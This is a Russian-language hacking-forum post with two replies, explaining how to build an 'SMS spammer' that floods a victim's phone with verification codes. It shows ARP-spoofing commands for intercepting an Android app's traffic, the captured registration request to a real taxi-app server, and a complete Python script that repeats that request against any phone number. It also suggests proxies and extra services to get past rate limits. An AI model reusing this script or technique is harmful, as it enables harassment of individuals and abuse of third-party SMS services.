• XSS.stack #1 – первый литературный журнал от юзеров форума

Пишем SMS Spamer

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Привет!

Сегодня я расскажу как можно написать SMS спамер. На написание статьи побудил скрипт Spammer-Grab. Суть его заключается в том чтобы заставить сервисе слать коды подтверждения на телефон жертвы (работоспособность его не проверял) если верить людям, то он рабочий.

Сразу скажу что текст сообщения задавать нам не удастся но суть спамера не в доставки нужного нам текста а достать человека на которого направлена спам атака.

Постановка задачи:
Для того чтобы реализовать задуманное нам понадобиться найти android приложение в котором есть функция регистрации по номеру телефона с кодом подтверждением который будет приходить в виде SMS. Собственно это самое сложное что нужно сделать во всей схеме. Затем надо получить HTTP запрос с параметрами который отправляется для регистрации и написать небольшой скрипт который будет делать столько запросов сколько нам надо.

Реализация задуманного:
Для начала найдем приложение которое будет отвечать нашим требованиям. Первое в которых есть данный функционал как правило предоставляют какие то услуги. Первое что пришло на ум это заказ такси. Идем в Google Play в поиске вводим “Такси” и начинаем искать подходящие нам приложение. Те что в топе лучше не брать обращаем внимание на приложения с плохим рейтингом. Пролистав пару экранов вниз натыкаемся на приложения “Такси Магнит”.

1551798448971.png
1551798477841.png


Устанавливаем его себе на телефон. После того как мы проверили что функционал приложения нам подходит настает этап перехвата трафика. Можно было бы попробовать это сделать средствами Android но у меня нет прав root и по этому я пойду другим путем. Вы можете найти свой способ для перехвата трафика не обязательно делать как я. Первое что мне пришло на ум это ARP-spoofing. Подключаем android и ноутбук к своей точки доступа и проводим ARP-spoofing.

ARP-spoofing:
ip андройда: 192.168.10.107 (ip может отлечаться)
ip роутера: 192.168.10.1 (ip может отлечаться)

Для проведения атаки arp-spoofing должны быть разрешены транзитные пакеты.
Код:
echo 1 > /proc/sys/net/ipv4/ip_forward
Затем проводим непосредственно саму атаку.
Код:
arpspoof -i eth0 -t [ip андройда] [ip роутера]
arpspoof -i eth0 -t [ip роутера] [ip андройда]

-i — указывает интерфейс, подключенный к локальной сети
-t — указывает IP-адрес хоста, arp-кэш которого требуется «отравить».

1551798647788.png
1551798674544.png


Теперь весь трафик с андройда идет через нас. Запускаем Wireshark выбираем свой интерфейс у меня это eth0. В поле фильтр вводим ip.addr == 192.168.10.107 and http (укаываем ip вашего андройда).

1551798742000.png


Возвращаемся к приложению и выполняем запрос на регистрацию.

Переходим в Wireshark и видим новые HTTP запросы. Обращаем внимание на POST запрос у которого в поле Info есть часть URL которое содержит create-invite. Пробуем еще несколько раз получить код что убедиться что это то запрос который нам надо. Для того что бы точно быть уверенным в том что мы нашли нужный запрос его можно проверить руками использую Advanced REST client.

1551798860255.png


Рассмотрим запрос более детально. Нажмем на него правой кнопкой мыши в появившемся меню наведем на Fallow и в новом списке выберем HTTP Stream.
1551798895678.png


Откроется окно с информацией похожей на эту:
Код:
POST /est-taxi/create-invite/1.0/ HTTP/1.1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Host: 5.9.150.148:8200
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

invite={"phone-number":"+XXXXXXXXXXXX","application-acronym":"TAXI_MAGNIT"}
HTTP/1.1 200 OK
Accept-Charset: UTF-8
Content-Type: text/plain; charset=UTF-8
Content-Length: 29
Connection: keep-alive

{"result":{"result-state":0}}
Давайте разберем что из этого нам нужно:
Код:
Тип запроса: POST
URL на который будет отправляться запрос: http://5.9.150.148:8200/est-taxi/create-invite/1.0/
Обязательные параметры которые требуется передать: invite={"phone-number":"+XXXXXXXXXXXX","application-acronym":"TAXI_MAGNIT"}
Ответ от сервера в случае успешной отправки: {"result":{"result-state":0}}
На этом этапе мы получили все данные которые нам нужна (при тестировании запроса было вывалено что минимальный промежутка паузы между повторной отправкой SMS 10 сек). Теперь можно приступить к написанию кода. В качестве языка программирования я выбрал python.
Python:
#!/usr/bin/python
# coding=utf-8

import requests, argparse, json, time


# Функция обработки передаваемых параметров
def options():
    parser = argparse.ArgumentParser(prog='SMSSpammer', description="The script sends spam messages via SMS",
                                     epilog='SMS Spammer script by n3d.b0y for Grey Section')
    parser.add_argument('--number', '-n', required=True, help='Phone number (example: 79006403861)')
    parser.add_argument('--limit', '-l', type=int, default=3,
                        help='Limit SMS  (default: 3)')
    parser.add_argument('--delay', '-d', type=int, default=20,
                        help='Delay time in seconds (default: 20)')
    return parser.parse_args()


# Отправка POST запроса с параметрами. Функция принимает номер телефона формата 79006403861.
def post_requests(number):
    r = requests.post('http://5.9.150.148:8200/est-taxi/create-invite/1.0/',
                      data={'invite': '{"phone-number":"+' + number + '","application-acronym":"TAXI_MAGNIT"}'})
    return json.loads(r.text)


def main():
    # Получаем переданные параметры
    params = options()
    inc = 0

    # Цикл будет делать столько итераций сколько мы передали в партере limit
    while inc < params.limit:
        # Передаем номер телефона и отправляем POST запрос
        response = post_requests(params.number)

        # Если ответ пришел положительный выводи OK если с ошибкой выведем Error
        if int(response['result']['result-state']) == 0:
            print '+' + params.number + ' - OK'
        else:
            print '+' + params.number + ' - Error'

        inc += 1
        # Делаем пазу перед следующим запросом
        time.sleep(params.delay)


if __name__ == '__main__':
    main()
Вот мы и написали наш спамер. Как видите сложного в этом ничего нет. Его можно улучшить добавив поддержку прокси + еще несколько сервисов чтобы спам шел без интервалов задержки но это уже не относиться к данной теме. Данное приложение я нашел не с первой попытки. Оно было третье по счету. В приложениях с хорошим рейтингом стоят системы блокировки по IP и лимиты в 15 мин на повторную отправку SMS. Но если у вас есть лишний час пару таких приложений найти можно запросто. Надеюсь я не в пустую потратил свое время и вам были интересно это читать :)

Кстати обратите внимание на дизайн приложения. По идеи все приложения с таким дизайном связанные с такси будут поддерживать множественную отправку SMS без блокировки. Так как такие приложения штампуется билдерам который идет в комплекте с CRM для приема заказов вызова такси. Знаю это точно так как работа лет 5 назад с таксистами которые хотели свою CRM и независимое android приложение, на тот момент у них было именно такое приложение которое можно было скомпилировать прямо в CRM.

Автор: @n3d.b0y
взято с codeby
 
Пожалуйста, обратите внимание, что пользователь заблокирован
о господи, сколько лишних действий )) Есть же автоматизация в браузере, чекайте ютуб. Есть же прокси сервера, есть же Амазон в конце концов, в связке это самый дикий бот нет! Мне только бы знать какой ресурс по HTTP или HTTPS даёт и раздаёт коды. Я напишу скрипт на js за пару минут, и запущу всю эту кухню! Главное что бы сайт не упал ))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да любые где есть смс авторизация или востановление пароля по телефону. Только опять же момент, я думаю там везде стоят временные ограничения на отсылку на один и тот же номер, поэтому и флудер это так себе. Но за разбор респект.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх